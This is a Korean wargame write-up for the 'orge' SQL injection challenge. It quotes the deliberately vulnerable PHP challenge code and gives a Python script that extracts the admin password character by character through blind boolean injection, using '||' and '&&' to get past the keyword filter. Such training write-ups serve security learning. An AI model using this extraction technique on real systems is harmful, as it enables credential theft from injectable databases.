orge

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

 

darkelf 문제와 같이 or과 and를 필터링하면서 정확한 pw값을 요한다.

 

2022.04.02 - [wargame write-up/Lord of SQLInjection] - orc

orc

orc문제풀이의 코드를 활용하여 or부분을 ||로, and는 &&로 바꾸어 진행하면 될거 같다.

 

import requests

cookies = {'PHPSESSID' : 'asdfasdfasdfasdf'}

print("finding length of pw...")
for i in range(1,100):
    url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1\' || id=\'admin\' %26%26 length(pw) = ' + str(i) + '%23'
    res = requests.get(url, cookies=cookies)
    print(str(i) + " ... ", end="")
    if "Hello admin" in res.text:
        len_pw = i
        print("0")
        print("================================")
        print("len : " + str(i))
        print("================================")
        print("\n")
        break
    else:
        print("X")

full_pw = ""
print("finding full pw...")
for i in range(len_pw):
    for j in range(32, 127):
        url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=1\' || id=\'admin\' %26%26 ascii(left(substr(pw,' + str(i+1) + '),1)) = ' + str(j) + '%23'
        res = requests.get(url, cookies=cookies)
        if "Hello admin" in res.text:
            full_pw += chr(j)
            break;
    print("pw : " + full_pw)
print("================================")
print("pw : " + full_pw)
print("================================")

 

예쁘게 나온 pw 결과를 전달해주면 풀리게 된다.

그림1 pw 프로그램

 

으라차차차

 

그림2 해결